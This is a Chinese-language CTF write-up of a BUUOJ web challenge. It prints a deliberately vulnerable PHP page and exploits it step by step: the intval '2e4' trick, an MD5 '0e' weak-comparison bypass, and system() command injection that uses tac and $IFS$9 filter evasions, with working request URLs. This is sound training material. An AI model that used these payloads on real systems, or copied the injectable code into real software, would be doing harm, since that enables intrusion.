题目一览
分析
- 打开题目，除了hack me，没有得到可利用信息，查看源码
- 虽然编码有一点问题，但还是发现了这个利用点bot，想到robots.txt网站的爬虫规则
robots.txt置于网站的根目录下。爬虫根据此文件决定网站下的哪些页面是被授权抓取的
- robots.txt
意为对任何爬虫，禁止其访问/fAke_f1agggg.php目录下的文件
但对于这个提示，我们明显是要访问看看有无可利用信息 - /fAke_f1agggg.php
在这里就很无措了，查看源码也什么都没有
获取flag
- 尝试抓包，在响应头里查找有效信息
- /fl4g.php
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧
出现这个就比较狠了，开始代码审计
标题Level 1
intval() 函数用于获取变量的整数值。(intval($num) < 2020 && intval($num + 1) > 2021)
也就是说既要让传入的num取整数值后小于2020，加1取整数后还要大于2021
根据这个启发，我们可以进行如下尝试- 但不知道为什么，我的编译器并没有实现这个差异，所以我们直接在题目中传入参数，进行查验
<?php
echo intval('2e4');
echo intval(2e4);
echo intval('2e4'+1);
echo intval(2e4+1);
echo intval(1e10);
echo intval('1e10');
?>
http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=%272e4%27
金钱解决不了穷人的本质问题http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4
我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.
绕过成功，并且可以得出，会将传入的参数自动转换为字符串
Level 2
-
md5() 函数计算字符串的 MD5 散列。 -
($md5==md5($md5))
也就是说需要传入的参数与他的MD5散列弱比较值相等
md5(0e215962017,32) = 0e291242476940776845150308577824
传入参数
http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4&md5=0e215962017 -
绕过成功
get flag
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
-strstr(str1,str2) 函数用于判断字符串str2是否是str1的子串。如果是，则该函数返回 str1字符串从 str2第一次出现的位置开始到 str1结尾的字符串；否则，返回NULL。
str_ireplace() 函数替换字符串中的一些字符（不区分大小写）。- 所以在get flag这一步一共有3个要求
参数中不能有空格
参数中如果有cat便要替换为wctf2020
参数会当作系统命令执行
http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php？num=2e4&md5=0e215962017&get_flag=ls
-http://99284f97-7851-47d5-be09-dc6cb3119651.node4.buuoj.cn:81/fl4g.php?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
tac绕过cat $IFS$9绕过空格flag{6c1c57d3-5462-42d3-be85-df3998d042c7}